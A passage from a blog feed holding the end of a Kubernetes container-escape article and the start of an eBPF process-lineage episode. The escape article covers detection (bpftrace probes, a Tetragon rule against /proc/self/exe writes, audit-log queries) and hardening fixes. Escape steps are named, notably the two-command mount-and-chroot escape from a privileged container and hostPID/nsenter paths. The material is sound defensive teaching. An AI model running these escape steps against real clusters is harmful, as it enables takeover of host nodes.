          - index: 0
            operator: Postfix
            values:
              - &quot;/proc/self/exe&quot;
          matchActions:
          - action: Sigkill   # Block immediately — no legitimate use case for this write
</code></pre>
<h3 id="bpftrace-quick-node-level-validation">bpftrace: Quick Node-Level Validation</h3>
<p>Before deploying Tetragon, you can validate that mount syscalls are observable from the host using bpftrace directly on a node:</p>
<pre><code class="" data-line=""># Run on the Kubernetes node (requires root or CAP_BPF)
# Safe observation mode — shows mount attempts from any process including containers

bpftrace -e &#039;
tracepoint:syscalls:sys_enter_mount {
  printf(&quot;%-8d %-20s %-30s -&gt; %-30s type=%s\n&quot;,
    pid, comm,
    str(args-&gt;dev_name),   // source device
    str(args-&gt;dir_name),   // mount target
    str(args-&gt;type));      // filesystem type
}
&#039; 2&gt;/dev/null
# Sample output:
# PID      COMM                 SOURCE                         TARGET                         TYPE
# 38471    bash                 /dev/sda1                      /mnt/host                      ext4
# 38471 and comm=bash from inside a container = escape attempt in progress
</code></pre>
<pre><code class="" data-line=""># Watch for nsenter executions across all processes on the node
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
  if (str(args-&gt;filename) == &quot;/usr/bin/nsenter&quot; ||
      str(args-&gt;filename) == &quot;/bin/nsenter&quot;) {
    printf(&quot;nsenter called: pid=%d ppid=%d comm=%s\n&quot;,
      pid, curtask-&gt;real_parent-&gt;pid, comm);
  }
}
&#039; 2&gt;/dev/null
</code></pre>
<h3 id="what-kubernetes-audit-logs-show-and-what-they-miss">What Kubernetes Audit Logs Show (and What They Miss)</h3>
<p>Kubernetes audit logs record API server activity. They show pod creation with <code class="" data-line="">--privileged</code> set — but only if you are watching pod spec creation events. They do not show anything that happens inside the container after it starts.</p>
<pre><code class="" data-line=""># Enable audit policy to capture pod creation with privileged spec
# /etc/kubernetes/audit-policy.yaml (excerpt)

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  # Log pod creation at RequestResponse level (captures full spec)
  - level: RequestResponse
    resources:
      - group: &quot;&quot;
        resources: [&quot;pods&quot;]
    verbs: [&quot;create&quot;, &quot;update&quot;, &quot;patch&quot;]

  # Log exec into pods — this is the entry point for escape attempts
  - level: RequestResponse
    resources:
      - group: &quot;&quot;
        resources: [&quot;pods/exec&quot;]
    verbs: [&quot;create&quot;]
</code></pre>
<pre><code class="" data-line=""># Parse audit log for privileged pod creation
grep &#039;&quot;privileged&quot;:true&#039; /var/log/kubernetes/audit.log | \
  jq -r &#039;[
    .requestReceivedTimestamp,
    .user.username,
    .objectRef.namespace + &quot;/&quot; + .objectRef.name,
    &quot;privileged=true&quot;
  ] | join(&quot; | &quot;)&#039;

# Or via kubectl (if audit log backend is configured)
kubectl get events -A --field-selector reason=Created \
  -o json | \
  jq -r &#039;.items[] |
    select(.message | contains(&quot;privileged&quot;)) |
    [.metadata.namespace, .involvedObject.name, .message] |
    join(&quot; / &quot;)&#039;
</code></pre>
<p>The audit log gap is important to understand: <strong>audit logs are a first-alert layer for misconfigured pod creation, not a detection layer for in-progress escape</strong>. By the time you see a pod/exec event in audit logs, the attacker already has a shell. eBPF-based detection at the syscall level is what catches the escape itself.</p>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="fix-1-podsecurity-admission-enforce-restricted-profile">Fix 1: PodSecurity Admission — Enforce Restricted Profile</h3>
<p>PodSecurity admission (built into Kubernetes 1.25+, replacing PodSecurityPolicy) enforces security profiles at the namespace level. The Restricted profile blocks <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, <code class="" data-line="">hostPath</code> volumes, and requires dropping all capabilities.</p>
<pre><code class="" data-line=""># Enforce the Restricted PodSecurity profile on a namespace
# This blocks any pod that doesn&#039;t meet the criteria from scheduling
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    # enforce: pod is rejected at admission if spec violates Restricted
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
    # audit: violations are logged but not rejected (useful for rollout)
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/audit-version: latest
    # warn: user gets a warning but pod is allowed (for migration)
    pod-security.kubernetes.io/warn: restricted
    pod-security.kubernetes.io/warn-version: latest
</code></pre>
<p>What Restricted profile blocks (relevant to escape paths):</p>
<pre><code class="" data-line=""># These settings are REQUIRED by Restricted — apply them explicitly
# to avoid the admission webhook rejecting your workloads

securityContext:
  # Pod-level
  runAsNonRoot: true
  seccompProfile:
    type: RuntimeDefault    # or Localhost with a custom profile

containers:
  - securityContext:
      allowPrivilegeEscalation: false
      privileged: false          # blocks Path 1
      capabilities:
        drop: [&quot;ALL&quot;]            # no CAP_SYS_ADMIN, no CAP_NET_ADMIN
        add: []                  # add only what is specifically required
      readOnlyRootFilesystem: true  # reduces attacker persistence options

# Pod spec — blocked by Restricted
spec:
  hostPID: false           # must be false (blocks Path 2)
  hostNetwork: false       # must be false
  hostIPC: false           # must be false
  volumes:                 # hostPath volumes blocked
    - name: app-data
      emptyDir: {}         # emptyDir, configMap, secret allowed; hostPath not
</code></pre>
<p><strong>Rollout approach for existing clusters:</strong></p>
<p>Start with <code class="" data-line="">warn</code> mode on all namespaces, identify violations, remediate, then promote to <code class="" data-line="">enforce</code>:</p>
<pre><code class="" data-line=""># Label all non-system namespaces with warn mode first
kubectl get namespaces -o json | \
  jq -r &#039;.items[] |
    select(.metadata.name | test(&quot;^(kube-system|kube-public|kube-node-lease)$&quot;) | not) |
    .metadata.name&#039; | \
  while read ns; do
    kubectl label namespace &quot;$ns&quot; \
      pod-security.kubernetes.io/warn=restricted \
      pod-security.kubernetes.io/warn-version=latest \
      --overwrite
    echo &quot;Labeled $ns&quot;
  done

# After a deployment cycle, check for warnings in admission logs
# Look for pods that would be rejected under enforce mode
kubectl get events -A --field-selector reason=FailedCreate \
  -o json | jq -r &#039;.items[] | select(.message | contains(&quot;violates PodSecurity&quot;))&#039;
</code></pre>
<h3 id="fix-2-runtimeclass-hardware-level-isolation-for-untrusted-workloads">Fix 2: RuntimeClass — Hardware-Level Isolation for Untrusted Workloads</h3>
<p>For workloads that cannot run under Restricted profile (CNI plugins, monitoring agents, specific DaemonSets), the alternative is a stronger isolation boundary: a hypervisor-level runtime.</p>
<p>gVisor and Kata Containers intercept system calls at a layer between the container and the Linux kernel, so a container escape exploiting a kernel vulnerability or a privileged mount hits the sandbox boundary, not the host kernel.</p>
<pre><code class="" data-line=""># Define a RuntimeClass for gVisor (runsc)
# Requires gVisor installed on nodes with the runsc runtime handler
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc   # must match the handler name in containerd/crio config
scheduling:
  nodeSelector:
    runtime.gvisor: &quot;true&quot;   # only schedule on nodes that have gVisor
---
# Use the RuntimeClass in a pod spec
apiVersion: v1
kind: Pod
metadata:
  name: untrusted-workload
spec:
  runtimeClassName: gvisor   # all syscalls go through gVisor&#039;s sentry
  containers:
    - name: app
      image: untrusted-image:latest
</code></pre>
<pre><code class="" data-line=""># Kata Containers: hardware VM boundary, not just a user-space syscall interceptor
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: kata-containers
handler: kata-qemu
</code></pre>
<blockquote>
<p><strong>For operators:</strong> gVisor and Kata Containers have compatibility trade-offs. Not all syscalls are supported in gVisor (it implements a subset of the Linux ABI). Kata Containers have higher startup latency (VM boot time). Benchmark your specific workload before enforcing these on production-critical pods.</p>
</blockquote>
<h3 id="fix-3-seccomp-profile-block-the-syscalls-that-enable-escape">Fix 3: Seccomp Profile — Block the Syscalls That Enable Escape</h3>
<p>Even without gVisor, a custom seccomp profile that explicitly denies <code class="" data-line="">mount</code>, <code class="" data-line="">unshare</code>, and <code class="" data-line="">clone</code> with namespace flags closes the primary escape syscall surface.</p>
<pre><code class="" data-line="">{
  &quot;defaultAction&quot;: &quot;SCMP_ACT_ERRNO&quot;,
  &quot;architectures&quot;: [&quot;SCMP_ARCH_X86_64&quot;, &quot;SCMP_ARCH_X86&quot;, &quot;SCMP_ARCH_X32&quot;],
  &quot;syscalls&quot;: [
    {
      &quot;names&quot;: [
        &quot;accept&quot;, &quot;accept4&quot;, &quot;access&quot;, &quot;arch_prctl&quot;,
        &quot;bind&quot;, &quot;brk&quot;, &quot;capget&quot;, &quot;capset&quot;,
        &quot;chdir&quot;, &quot;chmod&quot;, &quot;chown&quot;, &quot;clock_gettime&quot;,
        &quot;clone&quot;,
        &quot;close&quot;, &quot;connect&quot;,
        &quot;dup&quot;, &quot;dup2&quot;, &quot;dup3&quot;,
        &quot;execve&quot;, &quot;exit&quot;, &quot;exit_group&quot;,
        &quot;fchmod&quot;, &quot;fchown&quot;, &quot;fcntl&quot;,
        &quot;fstat&quot;, &quot;fstatfs&quot;, &quot;fsync&quot;,
        &quot;futex&quot;, &quot;getcwd&quot;, &quot;getdents64&quot;,
        &quot;getegid&quot;, &quot;geteuid&quot;, &quot;getgid&quot;, &quot;getgroups&quot;,
        &quot;getpeername&quot;, &quot;getpid&quot;, &quot;getppid&quot;,
        &quot;getrlimit&quot;, &quot;getsockname&quot;, &quot;getsockopt&quot;,
        &quot;gettid&quot;, &quot;gettimeofday&quot;, &quot;getuid&quot;,
        &quot;inotify_add_watch&quot;, &quot;inotify_init1&quot;,
        &quot;listen&quot;, &quot;lseek&quot;, &quot;lstat&quot;,
        &quot;madvise&quot;, &quot;mmap&quot;, &quot;mprotect&quot;,
        &quot;munmap&quot;, &quot;nanosleep&quot;,
        &quot;open&quot;, &quot;openat&quot;,
        &quot;pipe&quot;, &quot;pipe2&quot;, &quot;poll&quot;, &quot;ppoll&quot;,
        &quot;prctl&quot;, &quot;pread64&quot;, &quot;pwrite64&quot;,
        &quot;read&quot;, &quot;readlink&quot;, &quot;readv&quot;,
        &quot;recvfrom&quot;, &quot;recvmsg&quot;, &quot;recvmmsg&quot;,
        &quot;rename&quot;, &quot;rt_sigaction&quot;, &quot;rt_sigprocmask&quot;,
        &quot;rt_sigreturn&quot;, &quot;sched_getaffinity&quot;,
        &quot;select&quot;, &quot;sendfile&quot;, &quot;sendmsg&quot;, &quot;sendto&quot;,
        &quot;set_robust_list&quot;, &quot;set_tid_address&quot;,
        &quot;setgid&quot;, &quot;setgroups&quot;, &quot;setuid&quot;,
        &quot;setsockopt&quot;, &quot;shutdown&quot;,
        &quot;socket&quot;, &quot;socketpair&quot;,
        &quot;stat&quot;, &quot;statfs&quot;, &quot;symlink&quot;,
        &quot;tgkill&quot;, &quot;time&quot;, &quot;timerfd_create&quot;,
        &quot;timerfd_settime&quot;, &quot;truncate&quot;,
        &quot;uname&quot;, &quot;unlink&quot;, &quot;unlinkat&quot;,
        &quot;wait4&quot;, &quot;waitid&quot;,
        &quot;write&quot;, &quot;writev&quot;
      ],
      &quot;action&quot;: &quot;SCMP_ACT_ALLOW&quot;
    }
  ]
}
</code></pre>
<p>Apply via pod spec:</p>
<pre><code class="" data-line="">spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: &quot;container-escape-block.json&quot;
      # Profile must be in /var/lib/kubelet/seccomp/ on each node
</code></pre>
<pre><code class="" data-line=""># Distribute the seccomp profile to all nodes via DaemonSet
# Example using a DaemonSet that copies the profile file on startup
# (or use the built-in RuntimeDefault which blocks ~300 dangerous syscalls)

# RuntimeDefault blocks: mount, unshare, clone with new-ns flags,
# add_key, keyctl, request_key, pivot_root — adequate for most workloads
spec:
  securityContext:
    seccompProfile:
      type: RuntimeDefault
</code></pre>
<h3 id="fix-4-network-policy-contain-the-blast-radius-after-escape">Fix 4: Network Policy — Contain the Blast Radius After Escape</h3>
<p>Even if a container escapes to the node, a network policy that prevents the escaped process from reaching the Kubernetes API server limits what the attacker can do with node credentials.</p>
<pre><code class="" data-line=""># Deny all egress from application namespace to Kubernetes API server
# The API server typically runs on port 6443 on the control plane nodes
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-api-server-egress
  namespace: production
spec:
  podSelector: {}       # applies to all pods in namespace
  policyTypes:
    - Egress
  egress:
    # Allow DNS
    - ports:
        - protocol: UDP
          port: 53
    # Allow application traffic (customize per workload)
    - to:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: production
    # Explicitly: no rule allowing egress to control plane CIDR
    # This is a deny-by-absence — egress to control plane falls through to default deny
</code></pre>
<pre><code class="" data-line=""># Also block pod-to-pod communication across namespaces
# to prevent an escaped pod from pivoting to other workloads
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: production
spec:
  podSelector: {}
  policyTypes:
    - Ingress
    - Egress
  # No ingress or egress rules = deny all
  # Add specific rules above this as needed
</code></pre>
<h3 id="fix-5-node-isolation-co-location-risk">Fix 5: Node Isolation — Co-location Risk</h3>
<p>An internet-facing pod and a pod with access to sensitive internal services should not share a node. If the internet-facing pod escapes, it reaches the node&#8217;s credentials and can pivot to anything else scheduled on that node.</p>
<pre><code class="" data-line=""># Use node selectors, taints, and tolerations to separate workload tiers

# Taint sensitive nodes so only specific workloads schedule there
kubectl taint nodes sensitive-node-1 workload-tier=sensitive:NoSchedule

# Internet-facing pods: dedicated public-tier nodes
# Internal/privileged pods: dedicated sensitive-tier nodes

# Pod spec for internet-facing workload — only schedules on public nodes
spec:
  nodeSelector:
    workload-tier: public
  tolerations: []   # No toleration for sensitive node taint

# Pod spec for sensitive workload — only schedules on sensitive nodes
spec:
  nodeSelector:
    workload-tier: sensitive
  tolerations:
    - key: workload-tier
      operator: Equal
      value: sensitive
      effect: NoSchedule
</code></pre>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Legitimate workloads that require &#8211;privileged or hostPID.</strong> CNI plugins (Cilium, Calico, Flannel node agents), node-local-dns, monitoring agents (node exporters, eBPF-based agents like Tetragon itself), and storage drivers often need elevated access. Blanket enforcement of Restricted profile without exceptions breaks these workloads. The approach: enforce Restricted on application namespaces; use a dedicated namespace for infrastructure DaemonSets with the Baseline or Privileged policy and compensate with Falco detection and node isolation.</p>
<p><strong>Seccomp Restricted blocks some monitoring agents.</strong> The default Restricted seccomp profile blocks several syscalls that APM agents and profiling tools use. Run <code class="" data-line="">strace -c -f ./your-agent</code> to capture the syscall profile of your monitoring agent before enforcing Restricted. Common culprits: <code class="" data-line="">perf_event_open</code> (used by profilers), <code class="" data-line="">ptrace</code> (used by some debuggers), <code class="" data-line="">bpf</code> (used by eBPF-based tools). Add these to an allowlist seccomp profile rather than running the agent without any profile.</p>
<p><strong>runc CVEs require node patching, not policy.</strong> PodSecurity admission and Falco rules protect against configuration-based escapes. A vulnerability in runc, containerd, or the Linux kernel itself bypasses policy-based controls entirely. Keep container runtime versions current; enable automatic node OS patching (Bottlerocket, Flatcar Linux) if your infrastructure allows it. Subscribe to CVE feeds for containerd (<code class="" data-line="">containerd/containerd</code>) and runc (<code class="" data-line="">opencontainers/runc</code>) specifically.</p>
<p><strong>hostPath volumes are a partial equivalent to &#8211;privileged.</strong> A pod without <code class="" data-line="">--privileged</code> but with a hostPath volume mounting <code class="" data-line="">/etc</code> or <code class="" data-line="">/var/lib/kubelet</code> can read node credentials without needing to mount a block device. PodSecurity Restricted blocks hostPath entirely; Baseline allows it. Audit for hostPath volumes separately from <code class="" data-line="">--privileged</code>.</p>
<p><strong>RuntimeClass with gVisor has syscall compatibility gaps.</strong> Applications that use <code class="" data-line="">io_uring</code>, certain socket options, or kernel modules will not work under gVisor&#8217;s sentry. Test in staging before deploying to production. The gVisor compatibility matrix is documented at gvisor.dev/docs/user_guide/compatibility — check it for any application that does direct filesystem I/O at high volume (databases, high-throughput queues) as the overhead may be unacceptable even if the syscalls are supported.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Escape Path</th>
<th>Precondition</th>
<th>Detection Signal</th>
<th>Structural Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Privileged container → mount</td>
<td><code class="" data-line="">privileged: true</code></td>
<td>Falco: mount syscall from container; Tetragon: sys_mount kprobe</td>
<td>PodSecurity Restricted enforce; seccomp blocks mount</td>
</tr>
<tr>
<td>hostPID + nsenter</td>
<td><code class="" data-line="">hostPID: true</code></td>
<td>Falco: nsenter exec in container; audit log: pod creation with hostPID</td>
<td>PodSecurity Restricted; blocks hostPID</td>
</tr>
<tr>
<td>hostNetwork + IMDS</td>
<td><code class="" data-line="">hostNetwork: true</code></td>
<td>CloudTrail: IMDSv1 call from unexpected source</td>
<td>Enforce IMDSv2 hop limit 1; PodSecurity Restricted</td>
</tr>
<tr>
<td>runc CVE (CVE-2019-5736)</td>
<td>Unpatched runc</td>
<td>Tetragon: vfs_write to /proc/self/exe</td>
<td>Patch runc/containerd; use RuntimeClass (gVisor)</td>
</tr>
<tr>
<td>hostPath volume mount</td>
<td>hostPath to sensitive path</td>
<td>Falco: sensitive host file access; PodSecurity audit</td>
<td>PodSecurity Restricted (blocks hostPath)</td>
</tr>
<tr>
<td>Escaped → API server</td>
<td>Node credential access</td>
<td>Audit log: API calls from node IP at unexpected time</td>
<td>Network policy blocking node→API server egress</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Kubernetes container escape</strong> starts at the kernel: <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, and <code class="" data-line="">hostNetwork</code> remove Linux namespace and cgroup isolation — the Kubernetes API cannot prevent what happens inside a process that runs with those flags</li>
<li>Two commands from privileged container to root on the node: <code class="" data-line="">mount /dev/sda1 /mnt/host</code> and <code class="" data-line="">chroot /mnt/host /bin/bash</code> — this is not a sophisticated exploit, it is a default kernel behavior</li>
<li>eBPF detection (Falco, Tetragon) operates at the syscall level and catches the escape in progress; Kubernetes audit logs only catch the misconfigured pod creation, not the exploitation</li>
<li>PodSecurity Restricted enforcement at the namespace level is the structural fix for configuration-based escapes — it blocks <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, and hostPath volumes before a pod schedules</li>
<li>runc-class CVEs are independent of configuration — node-level patching and RuntimeClass (gVisor/Kata) isolation are the controls, not policy enforcement</li>
<li>Network policy as a secondary layer limits post-escape lateral movement: a container that escapes to the node should not be able to reach the API server with stolen node credentials</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>Container escape requires access to a running pod. But what if the attacker didn&#8217;t need to exploit anything at runtime — they shipped the attack as a dependency your build pipeline trusted? EP09 covers supply chain attacks from SolarWinds to XZ Utils: how a malicious package or a compromised build step becomes arbitrary code execution before the container ever runs, the detection patterns that are specific to supply chain compromise (dependency confusion, typosquatting, malicious maintainer takeovers), and the SLSA framework controls that create a verifiable chain of custody from source to deployed artifact.</p>
<p>Get EP09 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&#038;title=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" data-a2a-url="https://linuxcent.com/kubernetes-container-escape-attack-paths/" data-a2a-title="Kubernetes Container Escape: Attack Paths and eBPF Detection"></a></p><p>The post <a href="https://linuxcent.com/kubernetes-container-escape-attack-paths/">Kubernetes Container Escape: Attack Paths and eBPF Detection</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/kubernetes-container-escape-attack-paths/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1864</post-id>	</item>
		<item>
		<title>Process Lineage — Reconstructing What Happened After the Fact</title>
		<link>https://linuxcent.com/ebpf-process-lineage-incident-response/</link>
					<comments>https://linuxcent.com/ebpf-process-lineage-incident-response/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Thu, 18 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[kprobe]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Process Lineage]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1842</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span>Process lineage eBPF reconstructs a compromised container's history — what it spawned, what it touched, what it connected to — even after it exits.</p>
<p>The post <a href="https://linuxcent.com/ebpf-process-lineage-incident-response/">Process Lineage — Reconstructing What Happened After the Fact</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>eBPF: From Kernel to Cloud, Episode 13</em><br />
<a href="/what-is-ebpf-linux-kubernetes/">What Is eBPF?</a> · <a href="/bpf-verifier-kubernetes-safety/">The BPF Verifier</a> · <a href="/ebpf-vs-kernel-modules-kubernetes/">eBPF vs Kernel Modules</a> · <a href="/ebpf-program-types-kubernetes/">eBPF Program Types</a> · <a href="/ebpf-maps-explained/">eBPF Maps</a> · <a href="/ebpf-co-re-libbpf-portable-programs/">CO-RE and libbpf</a> · <a href="/ebpf-xdp-kubernetes-networking/">XDP</a> · <a href="/tc-ebpf-kubernetes-network-policy/">TC eBPF</a> · <a href="/bpftrace-kernel-observability/">bpftrace</a> · <a href="/ebpf-network-flow-observability/">Network Flow Observability</a> · <a href="/ebpf-dns-observability-kubernetes/">DNS Observability</a> · <a href="/ebpf-lsm-tetragon-runtime-security/">LSM and Tetragon</a> · <strong>Process Lineage</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Process lineage with eBPF hooks <code class="" data-line="">fork</code> and <code class="" data-line="">exec</code> at the kernel level — building a tamper-resistant record of every process spawned, tied to its parent, pod, namespace, and timestamp<br />
  <em>(kprobe on fork/exec = an eBPF program that fires every time the kernel&#8217;s <code class="" data-line="">fork()</code> or <code class="" data-line="">execve()</code> system call runs, capturing process name, PID, parent PID, and arguments before any userspace observer could be bypassed)</em></li>
<li>Application logs and container stdout can be deleted or suppressed by a compromised process; kernel-level process events written to a ringbuf and exported to a persistent store cannot</li>
<li>The kernel&#8217;s <code class="" data-line="">task_struct</code> contains the complete process identity: PID, PPID, UID, GID, process name, capabilities, and cgroup (which maps directly to a pod)</li>
<li>Tetragon and Falco both build process lineage from kernel events; the difference is storage — Tetragon persists a kernel-side cache of the process tree in BPF maps, Falco reconstructs lineage from an audit log stream</li>
<li>Reconstructing an incident from process lineage requires: who spawned the attacker&#8217;s process, what did it execute, what files did it open, what connections did it make — all correlated by PID and timestamp</li>
<li>Production caution: process events on a busy node can generate high ringbuf write volume; filter aggressively by namespace/cgroup at the eBPF level, not in userspace</li>
</ul>
<hr />
<p>EP12 showed how LSM hooks enforce at the syscall boundary — preventing operations before they complete. Process lineage with eBPF is the complementary capability: when an attacker bypasses enforcement, or when you need to understand what happened before the policy was in place, the kernel-level process record is how you reconstruct the attack chain. This episode covers how that record is built and how to read it.</p>
<h2 id="quick-check-what-process-events-is-your-cluster-already-recording">Quick Check: What Process Events Is Your Cluster Already Recording?</h2>
<pre><code class="" data-line=""># On any cluster node — verify exec tracing is available
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
    printf(&quot;%-20s %-6d %s\n&quot;, comm, pid, str(args-&gt;filename));
}&#039; --timeout 10

# Expected output:
# containerd-shim     1203   /usr/bin/runc
# runc                1204   /usr/sbin/runc
# sh                  1205   /bin/sh
# node                1842   /usr/local/bin/node
# kube-proxy          2091   /usr/local/bin/kube-proxy
</code></pre>
